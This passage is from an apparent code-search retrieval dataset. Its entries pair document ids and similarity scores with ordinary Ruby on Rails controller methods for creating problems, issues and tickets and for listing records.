"text": "def create\n @problem_in_contest = ProblemInContest.new(problem_in_contest_params)\n\n respond_to do |format|\n if @problem_in_contest.save\n format.html { redirect_to Contest.find(@problem_in_contest.contest_id), notice: 'Problem in contest was successfully created.' }\n format.json { render action: 'show', status: :created, location: @problem_in_contest }\n else\n format.html { redirect_to Contest.find(@problem_in_contest.contest_id), notice: 'Problem is already present in contest' }\n format.json { render json: @problem_in_contest.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "50cbe453d20c308a6a7769cd4b39ba48",
"score": "0.6166415",
"text": "def create\n @issue = Issue.new(issue_params)\n\n respond_to do |format|\n if @issue.save\n format.html { redirect_to issues_path, notice: 'Issue was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"title": ""
},
{
"docid": "22cc93c79abf7be688ad4e3857c143bf",
"score": "0.61581206",
"text": "def create\n @problem_set = ProblemSet.new(params[:problem_set])\n\n respond_to do |format|\n if @problem_set.save\n flash[:notice] = 'ProblemSet was successfully created.'\n format.html { redirect_to(problem_set_path(@problem_set)) }\n format.xml { render :xml => @problem_set, :status => :created, :location => @problem_set }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @problem_set.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f9a9c8f86a69cb11448466fa3fac5372",
"score": "0.6156505",
"text": "def create\n @problem_type = current_user.problem_types.build(params[:problem_type])\n\n respond_to do |format|\n if @problem_type.save\n format.html { redirect_to @problem_type, :notice => 'Problem type was successfully created.' }\n format.json { render :json => @problem_type, :status => :created, :location => @problem_type }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @problem_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2410dd87a88cc579e927eea2bfd75190",
"score": "0.6140781",
"text": "def create\n @problem_class = ProblemClass.new(problem_class_params)\n\n respond_to do |format|\n if @problem_class.save\n format.html { redirect_to @problem_class, notice: 'Problem class was successfully created.' }\n format.json { render :show, status: :created, location: @problem_class }\n else\n format.html { render :new }\n format.json { render json: @problem_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "00b92c22a175b53504fafec850d9606e",
"score": "0.613569",
"text": "def create\n @issue = Issue.new(issue_params)\n\n respond_to do |format|\n if @issue.save\n format.html { redirect_to @issue, notice: t(\"issues.success\")+t(\".success\") }\n format.json { render :show, status: :created, location: @issue }\n else\n format.html { render :new }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8de771c781560a276175b18f630fc740",
"score": "0.61345744",
"text": "def create\n @test_case = TestCase.new(test_case_params)\n\n respond_to do |format|\n if @test_case.save\n format.html { redirect_to \"/problems/#{@test_case.problem_id}/edit\", :notice => 'Test case was successfully created.' }\n else\n format.html { render :new }\n format.json { render json: @test_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9ea4c7a4f41f8685a81c2e6f56a976d1",
"score": "0.61099315",
"text": "def create\n @trouble = Trouble.new(trouble_params)\n\n respond_to do |format|\n if @trouble.save\n format.html { redirect_to edit_trouble_path(@trouble), notice: 'Trouble was successfully created.' }\n format.json { render :show, status: :created, location: @trouble }\n else\n format.html { render :new }\n format.json { render json: @trouble.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c71fdc54d7ccdb625de2ede5af5cbba5",
"score": "0.6107324",
"text": "def set_problem\n @problem = Problem.find(params[:id])\n end",
"title": ""
},
{
"docid": "5da0f56e98066e112bfa3bf73a70d4bc",
"score": "0.60941654",
"text": "def set_problem\n begin\n @problem = ::Problem.find(params[:id])\n rescue Exception => e\n redirect_to action: 'index', notice: 'This problem doesn\\'t exist.'\n return\n end\n end",
"title": ""
},
{
"docid": "5da0f56e98066e112bfa3bf73a70d4bc",
"score": "0.60941654",
"text": "def set_problem\n begin\n @problem = ::Problem.find(params[:id])\n rescue Exception => e\n redirect_to action: 'index', notice: 'This problem doesn\\'t exist.'\n return\n end\n end",
"title": ""
},
{
"docid": "a0da4414f056b6e4b4361af3933bbbb8",
"score": "0.6092313",
"text": "def create\n @problem = Problem.new(problem_params)\n image_ids = build_problem_images()\n @problem.image_ids = image_ids.join(\",\") if image_ids.size > 0\n # @problem.image_ids = image_ids.to_s\n # @problem.image_urls = image_urls.join(',')\n # @problem.normalized_problem_text = normalized_html(@problem.problem_text)\n @problem.answers = build_answers()\n # answer_images = build_answer_images()\n\n saved_sucessful = false\n begin\n saved_sucessful = @problem.save\n rescue Exception => e\n Rails.logger.error(\"****Cannot save problem.\", e)\n end\n\n\n respond_to do |format|\n if saved_sucessful\n format.html { redirect_to @problem, notice: 'Problem was successfully created.' }\n format.json { render :show, status: :created, location: @problem }\n else\n format.html { render :new }\n format.json { render json: @problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7d6bc229b48079d9586bf68d602c7d33",
"score": "0.60673994",
"text": "def problem_params\n params.require(:problem).permit(:course_id, :statement, :description, :solution, :references)\n end",
"title": ""
},
{
"docid": "ad24f055ffe4d62afbc26da3a549c0f0",
"score": "0.6063932",
"text": "def create\n if has_missing_params?([:short_identifier, :due_date, :description])\n # incomplete/invalid HTTP params\n render 'shared/http_status', locals: { code: '422', message:\n HttpStatusHelper::ERROR_CODE['message']['422'] }, status: :unprocessable_entity\n return\n end\n\n # check if there is an existing assignment\n assignment = Assignment.find_by(short_identifier: params[:short_identifier])\n unless assignment.nil?\n render 'shared/http_status', locals: { code: '409', message:\n 'Assignment already exists' }, status: :conflict\n return\n end\n\n # No assignment found so create new one\n attributes = { short_identifier: params[:short_identifier], course_id: params[:course_id] }\n attributes = process_attributes(params, attributes)\n\n new_assignment = Assignment.new(attributes)\n\n # Get and assign the submission_rule\n submission_rule = get_submission_rule(params)\n\n if submission_rule.nil?\n render 'shared/http_status', locals: { code: '500', message:\n HttpStatusHelper::ERROR_CODE['message']['500'] }, status: :internal_server_error\n return\n end\n\n new_assignment.submission_rule = submission_rule\n\n unless new_assignment.save\n # Some error occurred\n render 'shared/http_status', locals: { code: '500', message:\n HttpStatusHelper::ERROR_CODE['message']['500'] }, status: :internal_server_error\n return\n end\n\n # Otherwise everything went alright.\n render 'shared/http_status', locals: { code: '201', message:\n HttpStatusHelper::ERROR_CODE['message']['201'] }, status: :created\n end",
"title": ""
},
{
"docid": "3b3491ef1a2058f6eaff060c89e763da",
"score": "0.60584784",
"text": "def create_issue\n author_id, author_found = user_finder.author_id_for(issue)\n\n description =\n MarkdownText.format(issue.description, issue.author, author_found)\n\n attributes = {\n iid: issue.iid,\n title: issue.truncated_title,\n author_id: author_id,\n project_id: project.id,\n description: description,\n milestone_id: milestone_finder.id_for(issue),\n state: issue.state,\n created_at: issue.created_at,\n updated_at: issue.updated_at\n }\n\n insert_and_return_id(attributes, project.issues)\n rescue ActiveRecord::InvalidForeignKey\n # It's possible the project has been deleted since scheduling this\n # job. In this case we'll just skip creating the issue.\n end",
"title": ""
},
{
"docid": "8d0d3123b7238b5f3c0d16a13af4d2d2",
"score": "0.6053344",
"text": "def create\n @trouble = Trouble.new(trouble_params)\n\n respond_to do |format|\n if @trouble.save\n format.html { redirect_to @trouble, notice: 'El ticket ha sido creado correctamente.' }\n format.json { render json: @trouble, status: :created, location: @trouble }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trouble.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0d7f8d81c52e53e8b7bc5de90b02b7f",
"score": "0.6050819",
"text": "def create\n @problem_severity = ProblemSeverity.new(params[:problem_severity])\n\n respond_to do |format|\n if @problem_severity.save\n format.html { redirect_to(@problem_severity, :notice => t(\"screens.notice.successfully_created\")) }\n format.xml { render :xml => @problem_severity, :status => :created, :location => @problem_severity }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @problem_severity.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0b209c8abb6df52603f0c3b4742b5912",
"score": "0.60418516",
"text": "def create\n @teaching_problem = TeachingProblem.new(params[:teaching_problem])\n #@teaching_problem.student = User.find(params[:student])\n #@teaching_problem.teacher = User.find(params[:teacher])\n respond_to do |format|\n if @teaching_problem.save\n format.html { redirect_to @teaching_problem, notice: 'Teaching problem was successfully created.' }\n format.json { render json: @teaching_problem, status: :created, location: @teaching_problem }\n else\n format.html { render action: \"new\" }\n format.json { render json: @teaching_problem.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c47d77aabc0d65a71a15d779106a6b7e",
"score": "0.60332704",
"text": "def create\n @issue = Issue.new(issue_params)\n\n flash[:notice] = \"Issue ...\"\n respond_to do |format|\n if @issue.save\n # format.html {redirect_to @issue, notice: 'Issue was successfully created.' }\n format.html {redirect_to @issue }\n format.json { render action: 'show', status: :created, location: @issue }\n else\n format.html { render action: 'new' }\n format.json { render json: @issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8f5a8f03d87141166b0f307f838fcc3c",
"score": "0.6019399",
"text": "def generate_problem\n self.problems.create :assistment_id => self.problem.assistment.id\n end",
"title": ""
}
] |
02b0a9f4767a4b2eeb41d11b38e29630 | to_s Defines how the variables in the object are returned as a string. We can use a Class Object to modify defaults for that object type. | [
{
"docid": "0e593fd678222d3e032e4da24c82fb06",
"score": "0.0",
"text": "def to_s\n\n\t\treturn \"Owner Name: #{@owner_name} \\nPet Type: #{@pet_type} \\nPet Name: #{@pet_name} \\nHome: #{@home}\" \n\n\tend",
"title": ""
}
] | [
{
"docid": "5fa0fdf4f6bdf14d3aa202170b260fbb",
"score": "0.7659279",
"text": "def to_s\n @string || @object.to_s('F')\n end",
"title": ""
},
{
"docid": "5fa0fdf4f6bdf14d3aa202170b260fbb",
"score": "0.7659279",
"text": "def to_s\n @string || @object.to_s('F')\n end",
"title": ""
},
{
"docid": "fc45164ab937a7dc1e465646a36f565c",
"score": "0.76369363",
"text": "def to_s\n object.to_s\n end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "261e99bc26f16e3740139586062394ef",
"score": "0.75325644",
"text": "def to_s() end",
"title": ""
},
{
"docid": "e0c61d22481a9b8a23b7a0620c2b5f87",
"score": "0.7479526",
"text": "def to_s\n @object.to_s\n end",
"title": ""
},
{
"docid": "8b1fb58f6afe0db985d2335dcf091a8f",
"score": "0.74383676",
"text": "def to_s(*) end",
"title": ""
},
{
"docid": "8b1fb58f6afe0db985d2335dcf091a8f",
"score": "0.74383676",
"text": "def to_s(*) end",
"title": ""
},
{
"docid": "8b1fb58f6afe0db985d2335dcf091a8f",
"score": "0.74383676",
"text": "def to_s(*) end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "84c2aa104b8a70acbe3f11eca76559b3",
"score": "0.74044245",
"text": "def to_s; end",
"title": ""
},
{
"docid": "cd78afefad1e29842d8929c8b89c5ee9",
"score": "0.73456585",
"text": "def to_s\n self.var.to_s\n end",
"title": ""
},
{
"docid": "2b31b8ea95895fe618445791f766ecad",
"score": "0.7307017",
"text": "def to_s\n end",
"title": ""
},
{
"docid": "2b31b8ea95895fe618445791f766ecad",
"score": "0.7307017",
"text": "def to_s\n end",
"title": ""
},
{
"docid": "2b31b8ea95895fe618445791f766ecad",
"score": "0.7307017",
"text": "def to_s\n end",
"title": ""
},
{
"docid": "2b31b8ea95895fe618445791f766ecad",
"score": "0.7307017",
"text": "def to_s\n end",
"title": ""
},
{
"docid": "57fa65031e10840398e88c050e029548",
"score": "0.729942",
"text": "def to_s\n @to_s ||= format(to_h)\n end",
"title": ""
},
{
"docid": "5d15a288f94eb3b75eaeac36ce19d48f",
"score": "0.72883165",
"text": "def to_s\n @string ||= Builder::ToString.new(self).string\n end",
"title": ""
},
{
"docid": "71cbe7f31efd7ed1ad9b686acf4f3b56",
"score": "0.7238973",
"text": "def to_s\n stringify\n end",
"title": ""
},
{
"docid": "1faac082597bd45aca189b09902be90f",
"score": "0.7205554",
"text": "def to_s\n toString\n end",
"title": ""
},
{
"docid": "2a0b7d87f7bc137acaa248daf77222c0",
"score": "0.71468663",
"text": "def to_s\n super\n end",
"title": ""
},
{
"docid": "a73c425ea81e2d6c5c204b4cd6d83206",
"score": "0.71454406",
"text": "def to_s\n to_text\n end",
"title": ""
},
{
"docid": "3c8dafeb3bbc740b175545d45e167d02",
"score": "0.7144928",
"text": "def to_s\n to_h.to_s\n end",
"title": ""
},
{
"docid": "e35e99c2bcba3b4b490d2f3a53176b03",
"score": "0.7144004",
"text": "def to_s\n toString()\n end",
"title": ""
},
{
"docid": "290b6ae2641b7b0e6514651e95a3f86e",
"score": "0.7110312",
"text": "def to_s\n string\n end",
"title": ""
},
{
"docid": "487e69a2c421444cc7ad7514821909b8",
"score": "0.7107743",
"text": "def to_str() end",
"title": ""
},
{
"docid": "487e69a2c421444cc7ad7514821909b8",
"score": "0.7107743",
"text": "def to_str() end",
"title": ""
},
{
"docid": "964c0b83ab6be7599eee348d9054a63e",
"score": "0.71009445",
"text": "def to_s\n\t\t\traise NotImplementedError, \"%s does not provide an implementation of #to_s\" %\n\t\t\t\t[ self.class.name ]\n\t\tend",
"title": ""
},
{
"docid": "3d1f10c3d1123d425b0cacfd0f3e48f3",
"score": "0.70945996",
"text": "def to_s\n\t\t\t@string\n\t\tend",
"title": ""
},
{
"docid": "9058f00b1b4efcd18d5a8e54414628e2",
"score": "0.70923316",
"text": "def to_s\n inspect.to_s\n end",
"title": ""
},
{
"docid": "1200a1caf72ca3ce906e94c2992d39e0",
"score": "0.7080949",
"text": "def to_str\n to_s\n end",
"title": ""
},
{
"docid": "73ec23d9276a6062704fbb42a1f4e9b7",
"score": "0.7075375",
"text": "def to_s\n redacted_string(:to_s)\n end",
"title": ""
},
{
"docid": "73ec23d9276a6062704fbb42a1f4e9b7",
"score": "0.7075375",
"text": "def to_s\n redacted_string(:to_s)\n end",
"title": ""
},
{
"docid": "fe3e03ad9f13383b45189012dc9bd321",
"score": "0.70737916",
"text": "def to_s\n end",
"title": ""
},
{
"docid": "fe3e03ad9f13383b45189012dc9bd321",
"score": "0.70737916",
"text": "def to_s\n end",
"title": ""
},
{
"docid": "fe3e03ad9f13383b45189012dc9bd321",
"score": "0.70737916",
"text": "def to_s\n end",
"title": ""
}
] |
fb258a0f9b026650492a2748f5491d23 | GET /glo_records GET /glo_records.json | [
{
"docid": "f75ddd3508e103e23125f8f9be8ad4da",
"score": "0.7419535",
"text": "def index\n @glo_records = GloRecord.all\n end",
"title": ""
}
] | [
{
"docid": "39554b904e5600b09262f2d6d1191664",
"score": "0.73545676",
"text": "def records\n get '/records'\n end",
"title": ""
},
{
"docid": "b8d837b25915c998796985ecb86fd0be",
"score": "0.6560692",
"text": "def list_records\n session_check!\n begin\n output = JSON.parse(get(full_path(\"records\"), {session_id: session_id}))\n output[\"records\"]\n rescue => error\n handle_request_exception(error)\n end\n end",
"title": ""
},
{
"docid": "8dea3ef7cee9ce5d8000a49b8484c111",
"score": "0.6520453",
"text": "def get_records(query)\n resp = client.get(:path => \"#{base_path}/records\", :query => query)\n extract_response('records', resp)\n end",
"title": ""
},
{
"docid": "4eca96b62f8c34ad1e1069362dce6ece",
"score": "0.64520705",
"text": "def get_records\n @member = Member.find(params[:id])\n @health_records = @member.records \n\n respond_to do |format|\n format.html# show.html.erb\n format.json { render json: @healthrecord }\n end\n end",
"title": ""
},
{
"docid": "aa05a3c0149e6d9689a23ff1dcade720",
"score": "0.6438805",
"text": "def _get_records(path=nil, data=nil)\n alf_name = self.alf_name\n if alf_name.nil?\n alf_name = self.name.split('::')[1].underscore\n end\n records = AlfAPI::Connection.get alf_name, path, data\n records\n end",
"title": ""
},
{
"docid": "40c008047a3412cc44790744da039049",
"score": "0.64202285",
"text": "def index\n @records = Record.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @records }\n end\n end",
"title": ""
},
{
"docid": "40c008047a3412cc44790744da039049",
"score": "0.64202285",
"text": "def index\n @records = Record.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @records }\n end\n end",
"title": ""
},
{
"docid": "8a74ef99bc3b55ef0c43af543e78de92",
"score": "0.6186904",
"text": "def detail\n\n begin\n response = RestClient.get(\"#{CLOUDRECORDER_BASE}/recordings/#{params[:id]}\", 'authorization' => \"Token token=#{CLOUDRECORDER_TOKEN}\")\n jdata = JSON.parse(response.body)\n\n # puts \"J:#{jdata}\"\n\n # return only those fields necessary ?\n render :json => {\n :id => jdata[\"id\"],\n :title => jdata[\"title\"],\n :status => jdata[\"status\"],\n :webm_duration => jdata[\"webm_duration\"],\n :webm_s3url => jdata[\"webm_s3url\"],\n :mp4_duration => jdata[\"mp4_duration\"],\n :mp4_s3url => jdata[\"mp4_s3url\"],\n :vb_mediaid => jdata[\"vb_mediaid\"],\n :vb_fileurl => jdata[\"vb_fileurl\"]\n }\n rescue => e\n render :json => {\n :error => e.message\n }\n end\n end",
"title": ""
},
{
"docid": "bc6941a17b62a028b72167035483aa8d",
"score": "0.61471665",
"text": "def index\n @recording_sheet = RecordingSheet.find(params[:recording_sheet_id])\n @records = Record.where(:recording_sheet_id => @recording_sheet)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @records }\n end\n end",
"title": ""
},
{
"docid": "eb3bee96f55c9198ade95e865c8cbedc",
"score": "0.61401254",
"text": "def records\n #TODO: limit this?\n @records = Schedule.find(:all, :order => \"start ASC\", :limit => \"250\")\n respond_to do |format|\n format.xml # index.html.rxml\n format.json { render json: @schedules }\n end\n end",
"title": ""
},
{
"docid": "465ff645788643284a24e9e7a82924eb",
"score": "0.6137897",
"text": "def get_records\n request(\n :expects => 200,\n :method => 'GET',\n :parser => Fog::Parsers::DNS::Slicehost::GetRecords.new,\n :path => \"records.xml\"\n )\n end",
"title": ""
},
{
"docid": "74b95f41305d4df1dfa32f0375a57979",
"score": "0.6128616",
"text": "def index\n # @ga_pageviews_records = GaPageviewsRecord.all\n @ga_pageviews_records = GaPageviewsRecord.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ga_pageviews_records }\n end\n end",
"title": ""
},
{
"docid": "aaf1b2015556484ccc26d87f29d1bc12",
"score": "0.6120045",
"text": "def index\n @records = current_user.records\n respond_to do |f|\n f.html\n f.json {\n render json: @records.to_json({ except: [:thumbnail] })\n }\n end\n end",
"title": ""
},
{
"docid": "906e430e9072ebc0257ec649039b4eb9",
"score": "0.6091939",
"text": "def list_records(opts={})\n do_resumable(OAI::ListRecordsResponse, 'ListRecords', opts)\n end",
"title": ""
},
{
"docid": "d56c5fca980892795edf11118af65090",
"score": "0.6086068",
"text": "def index\n @records = current_user.\n records.\n order(:ordinal_letter, :title).\n includes(:artists, :songs).\n page(params[:page]).\n per(params[:per_page] || 5)\n respond_to do |format|\n format.html {}\n format.json {}\n format.js do\n render partial: 'records/records_list', formats: ['html'], handlers: ['erb'], layout: false\n end\n end\n end",
"title": ""
},
{
"docid": "35b40fdb0efeec210d94d5f3c241bb8f",
"score": "0.6017395",
"text": "def index\n @oaipmh_records = OaipmhRecord.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @oaipmh_records }\n end\n end",
"title": ""
},
{
"docid": "630454f95903118482b201a2e26312d8",
"score": "0.5995629",
"text": "def index\n @lance_me_documents = LanceMeDocument.all\n\n render json: @lance_me_documents\n end",
"title": ""
},
{
"docid": "350a5002ff098f88dc1cf9a23f79ec5a",
"score": "0.59704876",
"text": "def index\n\t\t@records = Record.where(:exam_id => @exam.id).order('ended_at DESC').page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @records }\n end\n end",
"title": ""
},
{
"docid": "5e98fdb91d28ce740b88cb99085ba7ae",
"score": "0.59402347",
"text": "def index\n @office_records = OfficeRecord.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @office_records }\n end\n end",
"title": ""
},
{
"docid": "c07ea5397dc6b982ef5a9208269f58b8",
"score": "0.59401494",
"text": "def show\n @recibo = Recibo.find(params[:recibo_id])\n @renglon_recibo_doc = @recibo.renglon_recibo_docs.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @renglon_recibo_doc }\n end\n end",
"title": ""
},
{
"docid": "c34a92697aeef40784abc552020144bd",
"score": "0.5938203",
"text": "def index\n @reloud_entries = ReloudEntry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reloud_entries }\n end\n end",
"title": ""
},
{
"docid": "a5bebe769211550014c826168756bcc0",
"score": "0.591303",
"text": "def index\n if params[:user_id]\n @inventory_records = current_user.inventory_records.order(\"created_at desc\")\n elsif params[:search]\n @inventory_records = InventoryRecord.search(params[:search])\n else\n @inventory_records = InventoryRecord.order(\"created_at desc\")\n end\n \n \n # print @inventory_records.map(&:location_id)\n @location_json = Location.where(\"id in (?)\", @inventory_records.map(&:location_id)).to_gmaps4rails\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @inventory_records }\n end\n end",
"title": ""
},
{
"docid": "e18f891b9837a00dcd66e58e161e893a",
"score": "0.5892268",
"text": "def view_record(uuid='')\n query('view/records/'+uuid,{},{},'GET')\n end",
"title": ""
},
{
"docid": "031ad7da21348fa4e0247d37e4d47f51",
"score": "0.5891065",
"text": "def index\n @records = Record.all\n end",
"title": ""
},
{
"docid": "031ad7da21348fa4e0247d37e4d47f51",
"score": "0.5891065",
"text": "def index\n @records = Record.all\n end",
"title": ""
},
{
"docid": "031ad7da21348fa4e0247d37e4d47f51",
"score": "0.5891065",
"text": "def index\n @records = Record.all\n end",
"title": ""
},
{
